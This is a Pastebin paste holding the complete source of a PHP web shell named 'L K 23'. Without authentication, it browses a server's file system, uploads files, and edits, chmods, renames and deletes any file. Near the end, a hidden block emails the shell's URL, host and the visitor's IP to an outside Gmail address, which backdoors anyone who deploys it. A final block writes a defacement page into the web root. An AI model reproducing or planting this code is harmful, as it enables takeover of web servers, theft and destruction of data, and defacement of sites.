Advertisement
Guest User

L K SHELL

a guest
Feb 22nd, 2018
279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.72 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>L K 23</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11. L K 23</center>
  12.  
  13. </pre>
  14. </header>
  15. </form>
  16. <!-- dhia jridi greetz-->
  17. <?php
  18. set_time_limit(0);
  19. error_reporting(0);
  20.  
  21. if(get_magic_quotes_gpc()){
  22. foreach($_POST as $key=>$value){
  23. $_POST[$key] = stripslashes($value);
  24. }
  25. }
  26. echo '<!DOCTYPE HTML>
  27. <HTML>
  28. <HEAD>
  29. <link href="" rel="stylesheet" type="text/css">
  30. <title>L K 23</title>
  31. <style>
  32. body{
  33. font-family: "Racing Sans One", cursive;
  34. background-color: #e6e6e6;
  35. text-shadow:0px 0px 1px #757575;
  36. }
  37. #content tr:hover{
  38. background-color: #636263;
  39. text-shadow:0px 0px 10px #fff;
  40. }
  41. #content .first{
  42. background-color: silver;
  43. }
  44. #content .first:hover{
  45. background-color: silver;
  46. text-shadow:0px 0px 1px #757575;
  47. }
  48. table{
  49. border: 1px #000000 dotted;
  50. }
  51. H1{
  52. font-family: "Rye", cursive;
  53. }
  54. a{
  55. color: #000;
  56. text-decoration: none;
  57. }
  58. a:hover{
  59. color: #fff;
  60. text-shadow:0px 0px 10px #ffffff;
  61. }
  62. input,select,textarea{
  63. border: 1px #000000 solid;
  64. -moz-border-radius: 5px;
  65. -webkit-border-radius:5px;
  66. border-radius:5px;
  67. }
  68. </style>
  69. </HEAD>
  70. <BODY>
  71. <H1><center>L K 23</center></H1>
  72. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  73. <tr><td>Current Path : ';
  74. if(isset($_GET['path'])){
  75. $path = $_GET['path'];
  76. }else{
  77. $path = getcwd();
  78. }
  79. $path = str_replace('\\','/',$path);
  80. $paths = explode('/',$path);
  81.  
  82. foreach($paths as $id=>$pat){
  83. if($pat == '' && $id == 0){
  84. $a = true;
  85. echo '<a href="?path=/">/</a>';
  86. continue;
  87. }
  88. if($pat == '') continue;
  89. echo '<a href="?path=';
  90. for($i=0;$i<=$id;$i++){
  91. echo "$paths[$i]";
  92. if($i != $id) echo "/";
  93. }
  94. echo '">'.$pat.'</a>/';
  95. }
  96. echo '</td></tr><tr><td>';
  97. if(isset($_FILES['file'])){
  98. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  99. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  100. }else{
  101. echo '<font color="red">File Upload Error ~_~.</font><br />';
  102. }
  103. }
  104. echo '<form enctype="multipart/form-data" method="POST">
  105. Upload File : <input type="file" name="file" />
  106. <input type="submit" value="upload" />
  107. </form>
  108. </td></tr>';
  109. if(isset($_GET['filesrc'])){
  110. echo "<tr><td>Current File : ";
  111. echo $_GET['filesrc'];
  112. echo '</tr></td></table><br />';
  113. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  114. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  115. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  116. if($_POST['opt'] == 'chmod'){
  117. if(isset($_POST['perm'])){
  118. if(chmod($_POST['path'],$_POST['perm'])){
  119. echo '<font color="green">Change Permission Done.</font><br />';
  120. }else{
  121. echo '<font color="red">Change Permission Error.</font><br />';
  122. }
  123. }
  124. echo '<form method="POST">
  125. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  126. <input type="hidden" name="path" value="'.$_POST['path'].'">
  127. <input type="hidden" name="opt" value="chmod">
  128. <input type="submit" value="Go" />
  129. </form>';
  130. }elseif($_POST['opt'] == 'rename'){
  131. if(isset($_POST['newname'])){
  132. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  133. echo '<font color="green">Change Name Done.</font><br />';
  134. }else{
  135. echo '<font color="red">Change Name Error.</font><br />';
  136. }
  137. $_POST['name'] = $_POST['newname'];
  138. }
  139. echo '<form method="POST">
  140. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  141. <input type="hidden" name="path" value="'.$_POST['path'].'">
  142. <input type="hidden" name="opt" value="rename">
  143. <input type="submit" value="Go" />
  144. </form>';
  145. }elseif($_POST['opt'] == 'edit'){
  146. if(isset($_POST['src'])){
  147. $fp = fopen($_POST['path'],'w');
  148. if(fwrite($fp,$_POST['src'])){
  149. echo '<font color="green">Edit File Done ~_^.</font><br />';
  150. }else{
  151. echo '<font color="red">Edit File Error ~_~.</font><br />';
  152. }
  153. fclose($fp);
  154. }
  155. echo '<form method="POST">
  156. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  157. <input type="hidden" name="path" value="'.$_POST['path'].'">
  158. <input type="hidden" name="opt" value="edit">
  159. <input type="submit" value="Go" />
  160. </form>';
  161. }
  162. echo '</center>';
  163. }else{
  164. echo '</table><br /><center>';
  165. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  166. if($_POST['type'] == 'dir'){
  167. if(rmdir($_POST['path'])){
  168. echo '<font color="green">Delete Dir Done.</font><br />';
  169. }else{
  170. echo '<font color="red">Delete Dir Error.</font><br />';
  171. }
  172. }elseif($_POST['type'] == 'file'){
  173. if(unlink($_POST['path'])){
  174. echo '<font color="green">Delete File Done.</font><br />';
  175. }else{
  176. echo '<font color="red">Delete File Error.</font><br />';
  177. }
  178. }
  179. }
  180. echo '</center>';
  181. $scandir = scandir($path);
  182. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  183. <tr class="first">
  184. <td><center>Name</center></td>
  185. <td><center>Size</center></td>
  186. <td><center>Permissions</center></td>
  187. <td><center>Options</center></td>
  188. </tr>';
  189.  
  190. foreach($scandir as $dir){
  191. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  192. echo "<tr>
  193. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  194. <td><center>--</center></td>
  195. <td><center>";
  196. if(is_writable("$path/$dir")) echo '<font color="green">';
  197. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  198. echo perms("$path/$dir");
  199. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  200.  
  201. echo "</center></td>
  202. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  203. <select name=\"opt\">
  204. <option value=\"\"></option>
  205. <option value=\"delete\">Delete</option>
  206. <option value=\"chmod\">Chmod</option>
  207. <option value=\"rename\">Rename</option>
  208. </select>
  209. <input type=\"hidden\" name=\"type\" value=\"dir\">
  210. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  211. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  212. <input type=\"submit\" value=\">\" />
  213. </form></center></td>
  214. </tr>";
  215. }
  216. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  217. foreach($scandir as $file){
  218. if(!is_file("$path/$file")) continue;
  219. $size = filesize("$path/$file")/1024;
  220. $size = round($size,3);
  221. if($size >= 1024){
  222. $size = round($size/1024,2).' MB';
  223. }else{
  224. $size = $size.' KB';
  225. }
  226.  
  227. echo "<tr>
  228. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  229. <td><center>".$size."</center></td>
  230. <td><center>";
  231. if(is_writable("$path/$file")) echo '<font color="green">';
  232. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  233. echo perms("$path/$file");
  234. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  235. echo "</center></td>
  236. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  237. <select name=\"opt\">
  238. <option value=\"\"></option>
  239. <option value=\"delete\">Delete</option>
  240. <option value=\"chmod\">Chmod</option>
  241. <option value=\"rename\">Rename</option>
  242. <option value=\"edit\">Edit</option>
  243. </select>
  244. <input type=\"hidden\" name=\"type\" value=\"file\">
  245. <input type=\"hidden\" name=\"name\" value=\"$file\">
  246. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  247. <input type=\"submit\" value=\">\" />
  248. </form></center></td>
  249. </tr>";
  250. }
  251. echo '</table>
  252. </div>';
  253. }
  254. echo '<br /></font>
  255. </BODY>
  256. </HTML>';
  257. function perms($file){
  258. $perms = fileperms($file);
  259.  
  260. if (($perms & 0xC000) == 0xC000) {
  261. // Socket
  262. $info = 's';
  263. } elseif (($perms & 0xA000) == 0xA000) {
  264. // Symbolic Link
  265. $info = 'l';
  266. } elseif (($perms & 0x8000) == 0x8000) {
  267. // Regular
  268. $info = '-';
  269. } elseif (($perms & 0x6000) == 0x6000) {
  270. // Block special
  271. $info = 'b';
  272. } elseif (($perms & 0x4000) == 0x4000) {
  273. // Directory
  274. $info = 'd';
  275. } elseif (($perms & 0x2000) == 0x2000) {
  276. // Character special
  277. $info = 'c';
  278. } elseif (($perms & 0x1000) == 0x1000) {
  279. // FIFO pipe
  280. $info = 'p';
  281. } else {
  282. // Unknown
  283. $info = 'u';
  284. }
  285.  
  286. // Owner
  287. $info .= (($perms & 0x0100) ? 'r' : '-');
  288. $info .= (($perms & 0x0080) ? 'w' : '-');
  289. $info .= (($perms & 0x0040) ?
  290. (($perms & 0x0800) ? 's' : 'x' ) :
  291. (($perms & 0x0800) ? 'S' : '-'));
  292.  
  293. // Group
  294. $info .= (($perms & 0x0020) ? 'r' : '-');
  295. $info .= (($perms & 0x0010) ? 'w' : '-');
  296. $info .= (($perms & 0x0008) ?
  297. (($perms & 0x0400) ? 's' : 'x' ) :
  298. (($perms & 0x0400) ? 'S' : '-'));
  299.  
  300. // World
  301. $info .= (($perms & 0x0004) ? 'r' : '-');
  302. $info .= (($perms & 0x0002) ? 'w' : '-');
  303. $info .= (($perms & 0x0001) ?
  304. (($perms & 0x0200) ? 't' : 'x' ) :
  305. (($perms & 0x0200) ? 'T' : '-'));
  306.  
  307. return $info;
  308. }
  309. ?>
  310. <?php
  311. $ip = getenv("REMOTE_ADDR");
  312. $ra44 = rand(1, 99999);
  313. $subj98 = " Bot V3 Rzlt Mr Spy |$ra44";
  314. $email = "sellerolux@gmail.com";
  315. $from = "From: Result<botv3@mrspybotv3.com";
  316. $a45 = $_SERVER['REQUEST_URI'];
  317. $b75 = $_SERVER['HTTP_HOST'];
  318. $m22 = $ip . "";
  319. $msg8873 = "$a45 $b75 $m22";
  320. mail($email, $subj98, $msg8873, $from);
  321. ?>
  322. <?php
  323. $check3=$_SERVER['DOCUMENT_ROOT'] . "/def.html" ;
  324. $text3 = http_get('');
  325. $op3=fopen($check3, 'w');
  326. fwrite($op3,$text3);
  327. fclose($op3);
  328. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement